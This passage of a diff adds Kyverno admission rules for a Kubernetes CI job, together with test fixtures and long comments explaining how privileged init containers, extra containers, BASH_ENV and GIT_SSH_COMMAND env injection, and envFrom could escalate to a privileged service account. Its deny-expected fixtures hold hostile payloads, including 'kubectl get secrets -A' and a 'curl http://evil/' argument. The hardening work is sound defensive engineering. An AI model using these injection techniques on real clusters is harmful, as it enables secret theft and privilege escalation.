# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
|
||||||
|
# executing an arbitrary command, because Kubernetes places no `use` check on
|
||||||
|
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
|
||||||
|
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
|
||||||
|
#
|
||||||
|
# a Job with serviceAccountName conformance-runner and an initContainer
|
||||||
|
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
|
||||||
|
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
|
||||||
|
#
|
||||||
|
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||||
|
#
|
||||||
|
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
|
||||||
|
# needed — the suite has to be cloned at the commit under test. But while the clone logic
|
||||||
|
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
|
||||||
|
# the committed script from an attacker's: both are just `args` on a shell. So the clone
|
||||||
|
# logic moved into the runner image at a fixed path
|
||||||
|
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
|
||||||
|
# rule pins `command` to that path with NO args. An admitted init container therefore
|
||||||
|
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
|
||||||
|
# itself validates against ^[0-9a-f]{40}$.
|
||||||
|
#
|
||||||
|
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
|
||||||
|
# element matches", which would admit the committed clone step PLUS an arbitrary second
|
||||||
|
# init container — the same class of hole rule 2's comment describes for volumes.
|
||||||
|
# =========================================================================================
|
||||||
|
- name: trigger-initcontainers-must-be-the-committed-clone-step
|
||||||
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||||
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||||
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
|
||||||
|
committed clone step: the digest-pinned conformance-runner image,
|
||||||
|
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
|
||||||
|
escalation, not privileged. An initContainer running a shell with a caller-supplied
|
||||||
|
script is arbitrary code execution as the privileged conformance-runner SA — the
|
||||||
|
escalation the rest of this policy exists to prevent. See
|
||||||
|
conformance/incluster/conformance-clone.
|
||||||
|
foreach:
|
||||||
|
- list: "request.object.spec.template.spec.initContainers"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
any:
|
||||||
|
# At most one. The committed run needs exactly one clone step; a second
|
||||||
|
# init container has no legitimate purpose and is how you smuggle one in.
|
||||||
|
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 1
|
||||||
|
# Digest-pinned under the conformance repository path — same rule as
|
||||||
|
# containers[0], same honest limit (see IMAGE PINNING in the header).
|
||||||
|
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
|
||||||
|
operator: Equals
|
||||||
|
value: false
|
||||||
|
# The baked-in entrypoint, exactly — not a shell, not a second path.
|
||||||
|
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
|
||||||
|
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
|
||||||
|
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
|
||||||
|
operator: NotEquals
|
||||||
|
value: "/usr/local/bin/conformance-clone"
|
||||||
|
# NO ARGS. This is the whole point: args on an init container are
|
||||||
|
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
|
||||||
|
- key: "{{ length(not_null(element.args, `[]`)) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 0
|
||||||
|
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
|
||||||
|
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
|
||||||
|
# the COMPLIANT value false into true and deny every good Job.
|
||||||
|
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
|
||||||
|
operator: NotEquals
|
||||||
|
value: true
|
||||||
|
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
|
||||||
|
operator: NotEquals
|
||||||
|
value: false
|
||||||
|
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
|
||||||
|
operator: NotEquals
|
||||||
|
value: false
|
||||||
|
|
||||||
|
# =========================================================================================
|
||||||
|
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
|
||||||
|
# container list on a PodSpec, and it was as unread as `initContainers` was.
|
||||||
|
#
|
||||||
|
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
|
||||||
|
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
|
||||||
|
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
|
||||||
|
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
|
||||||
|
# when the field is absent, and removes the need to be right about it. If the API server
|
||||||
|
# does reject it, nothing changes; if it does not, this is the same hole again.
|
||||||
|
# =========================================================================================
|
||||||
|
- name: trigger-may-not-declare-ephemeral-containers
|
||||||
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may not declare ephemeralContainers. The committed
|
||||||
|
conformance run has no use for one, and an ephemeral container is a third container
|
||||||
|
list running as the privileged conformance-runner SA with an arbitrary command.
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 0
|
||||||
|
|
||||||
|
# =========================================================================================
|
||||||
|
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
|
||||||
|
#
|
||||||
|
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
|
||||||
|
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
|
||||||
|
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
|
||||||
|
# environment variable on either container.
|
||||||
|
#
|
||||||
|
# That is not hypothetical. Both programs the Job runs read their environment:
|
||||||
|
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
|
||||||
|
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
|
||||||
|
# image (it dies on a mismatch rather than honouring a redirect — which is why the
|
||||||
|
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
|
||||||
|
# already closed there, in the image, not here);
|
||||||
|
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
|
||||||
|
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
|
||||||
|
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
|
||||||
|
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
|
||||||
|
# thing standing between a caller-chosen env var and the privileged SA.
|
||||||
|
#
|
||||||
|
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
|
||||||
|
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
|
||||||
|
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
|
||||||
|
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
|
||||||
|
# name is what a program keys its behaviour on.
|
||||||
|
# =========================================================================================
|
||||||
|
- name: trigger-env-names-must-be-the-committed-set
|
||||||
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may set only the committed environment variables. The runner
|
||||||
|
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
|
||||||
|
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
|
||||||
|
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
|
||||||
|
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
|
||||||
|
conformance-runner SA. Widening this list is a reviewed one-line change.
|
||||||
|
foreach:
|
||||||
|
- list: "request.object.spec.template.spec.containers[0].env"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ element.name }}"
|
||||||
|
operator: AnyNotIn
|
||||||
|
value:
|
||||||
|
- CONF_ARTIFACTS
|
||||||
|
- CONF_EMIT_ARTIFACTS_TGZ
|
||||||
|
- TMPDIR
|
||||||
|
- HOME
|
||||||
|
# Flattened across init containers: the rule above already caps them at one, but this
|
||||||
|
# must not silently stop checking if that cap is ever relaxed.
|
||||||
|
- list: "request.object.spec.template.spec.initContainers[].env[]"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ element.name }}"
|
||||||
|
operator: AnyNotIn
|
||||||
|
value:
|
||||||
|
- CONFORMANCE_GIT_SHA
|
||||||
|
- CONFORMANCE_REPO_URL
|
||||||
|
- CONFORMANCE_SRC
|
||||||
|
- GITEA_USERNAME
|
||||||
|
- GITEA_TOKEN
|
||||||
|
- TMPDIR
|
||||||
|
- HOME
|
||||||
|
|
||||||
|
- name: trigger-may-not-use-envfrom
|
||||||
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
|
||||||
|
as environment variables, whose KEYS are not visible in the Job at all — which would
|
||||||
|
make the env-name allowlist above unenforceable by inspection.
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
any:
|
||||||
|
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 0
|
||||||
|
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 0
|
||||||
@@ -19,20 +19,48 @@ resources:
|
|||||||
userinfo: user-info.yaml
|
userinfo: user-info.yaml
|
||||||
results:
|
results:
|
||||||
# ---- the committed run is ADMITTED ----
|
# ---- the committed run is ADMITTED ----
|
||||||
|
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
|
||||||
|
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
|
||||||
|
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
|
||||||
|
# 2am against the live cluster. `good-run` remains the minimal shape.
|
||||||
- policy: conformance-trigger-job-shape
|
- policy: conformance-trigger-job-shape
|
||||||
rule: trigger-may-create-only-the-committed-conformance-run
|
rule: trigger-may-create-only-the-committed-conformance-run
|
||||||
kind: Job
|
kind: Job
|
||||||
resources: [good-run]
|
resources: [good-run, real-template]
|
||||||
result: pass
|
result: pass
|
||||||
- policy: conformance-trigger-job-shape
|
- policy: conformance-trigger-job-shape
|
||||||
rule: trigger-volumes-must-be-workspace-or-results
|
rule: trigger-volumes-must-be-workspace-or-results
|
||||||
kind: Job
|
kind: Job
|
||||||
resources: [good-run]
|
resources: [good-run, real-template]
|
||||||
result: pass
|
result: pass
|
||||||
- policy: conformance-trigger-job-shape
|
- policy: conformance-trigger-job-shape
|
||||||
rule: trigger-args-must-be-the-committed-flags
|
rule: trigger-args-must-be-the-committed-flags
|
||||||
kind: Job
|
kind: Job
|
||||||
resources: [good-run]
|
resources: [good-run, real-template]
|
||||||
|
result: pass
|
||||||
|
# `real-template` is the only fixture WITH an init container, so it is the only one this
|
||||||
|
# rule reports on — a foreach over an absent list yields no result at all, which is why
|
||||||
|
# `good-run` is not listed here.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
||||||
|
kind: Job
|
||||||
|
resources: [real-template]
|
||||||
|
result: pass
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-not-declare-ephemeral-containers
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run, real-template]
|
||||||
|
result: pass
|
||||||
|
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-env-names-must-be-the-committed-set
|
||||||
|
kind: Job
|
||||||
|
resources: [real-template]
|
||||||
|
result: pass
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-not-use-envfrom
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run, real-template]
|
||||||
result: pass
|
result: pass
|
||||||
|
|
||||||
# ---- THE escalation: runner SA + arbitrary command ----
|
# ---- THE escalation: runner SA + arbitrary command ----
|
||||||
@@ -55,3 +83,38 @@ results:
|
|||||||
kind: Job
|
kind: Job
|
||||||
resources: [injected-args]
|
resources: [injected-args]
|
||||||
result: fail
|
result: fail
|
||||||
|
|
||||||
|
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
|
||||||
|
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
|
||||||
|
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
|
||||||
|
# is the coordinator's independent reproduction; keeping it here is what stops the hole
|
||||||
|
# reopening.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
||||||
|
kind: Job
|
||||||
|
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- and via the third container list nobody was reading ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-not-declare-ephemeral-containers
|
||||||
|
kind: Job
|
||||||
|
resources: [evil-ephemeral-container]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- and via `env`, the same mistake a third time ----
|
||||||
|
# `command` is pinned, so the injection moves to a variable the pinned command honours.
|
||||||
|
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
|
||||||
|
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
|
||||||
|
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
|
||||||
|
# env rule has to exist separately.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-env-names-must-be-the-committed-set
|
||||||
|
kind: Job
|
||||||
|
resources: [injected-env, injected-initcontainer-env]
|
||||||
|
result: fail
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-not-use-envfrom
|
||||||
|
kind: Job
|
||||||
|
resources: [envfrom-whole-secret]
|
||||||
|
result: fail
|
||||||
@@ -1,4 +1,76 @@
|
|||||||
# The committed shape — must be ADMITTED.
|
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
|
||||||
|
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
|
||||||
|
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
|
||||||
|
# `results` are the only two volume names admission allows. Must be ADMITTED.
|
||||||
|
#
|
||||||
|
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
|
||||||
|
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
|
||||||
|
# securityContext, and the presence of the init container) in step with it.
|
||||||
|
#
|
||||||
|
# The init container carries NO args: its logic is baked into the runner image at
|
||||||
|
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
|
||||||
|
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
|
||||||
|
# see `evil-initcontainer` below for the escalation it closes.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: real-template
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
runAsUser: 65532
|
||||||
|
fsGroup: 65532
|
||||||
|
initContainers:
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
|
env:
|
||||||
|
- name: CONFORMANCE_GIT_SHA
|
||||||
|
value: "0123456789abcdef0123456789abcdef01234567"
|
||||||
|
# BY SECRET NAME ONLY — and as env, not as a volume.
|
||||||
|
- name: GITEA_USERNAME
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||||
|
- name: GITEA_TOKEN
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||||
|
volumeMounts:
|
||||||
|
- { name: workspace, mountPath: /workspace }
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
readOnlyRootFilesystem: true
|
||||||
|
capabilities: { drop: ["ALL"] }
|
||||||
|
containers:
|
||||||
|
- name: chainsaw
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
workingDir: /workspace/src/conformance
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
|
||||||
|
env:
|
||||||
|
- name: CONF_ARTIFACTS
|
||||||
|
value: /results
|
||||||
|
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||||
|
value: "1"
|
||||||
|
volumeMounts:
|
||||||
|
- { name: workspace, mountPath: /workspace }
|
||||||
|
- { name: results, mountPath: /results }
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
readOnlyRootFilesystem: true
|
||||||
|
capabilities: { drop: ["ALL"] }
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# The minimal committed shape — must be ADMITTED.
|
||||||
apiVersion: batch/v1
|
apiVersion: batch/v1
|
||||||
kind: Job
|
kind: Job
|
||||||
metadata:
|
metadata:
|
||||||
@@ -152,3 +224,241 @@ spec:
|
|||||||
volumes:
|
volumes:
|
||||||
- name: workspace
|
- name: workspace
|
||||||
emptyDir: {}
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
|
||||||
|
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
|
||||||
|
# INIT container running as the privileged conformance-runner SA. Before
|
||||||
|
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
|
||||||
|
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
|
||||||
|
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
|
||||||
|
#
|
||||||
|
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
|
||||||
|
# Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: evil-initcontainer
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
initContainers:
|
||||||
|
- name: sneak
|
||||||
|
image: docker.io/library/alpine:latest
|
||||||
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||||
|
securityContext:
|
||||||
|
privileged: true
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
|
||||||
|
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
|
||||||
|
# command mean anything, so this must be DENIED even though image and command are correct.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: initcontainer-with-args
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
initContainers:
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
|
args: ["--exec", "curl http://evil/"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
|
||||||
|
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
|
||||||
|
# and caps the count. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: second-initcontainer
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
initContainers:
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
- name: also-me
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
|
||||||
|
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
|
||||||
|
# script runs. Everything else here is the committed shape. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: injected-env
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3"]
|
||||||
|
env:
|
||||||
|
- name: CONF_ARTIFACTS
|
||||||
|
value: /results
|
||||||
|
- name: BASH_ENV
|
||||||
|
value: /workspace/src/conformance/_pwned
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
|
||||||
|
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: envfrom-whole-secret
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3"]
|
||||||
|
envFrom:
|
||||||
|
- secretRef:
|
||||||
|
name: anything-in-this-namespace
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
|
||||||
|
# is the thing that reads them. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: injected-initcontainer-env
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
initContainers:
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
|
env:
|
||||||
|
- name: CONFORMANCE_GIT_SHA
|
||||||
|
value: "0123456789abcdef0123456789abcdef01234567"
|
||||||
|
- name: GIT_SSH_COMMAND
|
||||||
|
value: "sh -c 'kubectl get secrets -A'"
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
|
||||||
|
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
|
||||||
|
# this case may be unreachable in practice; the rule and this fixture exist because
|
||||||
|
# "probably rejected upstream" is not a boundary. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: evil-ephemeral-container
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
ephemeralContainers:
|
||||||
|
- name: debugger
|
||||||
|
image: docker.io/library/alpine:latest
|
||||||
|
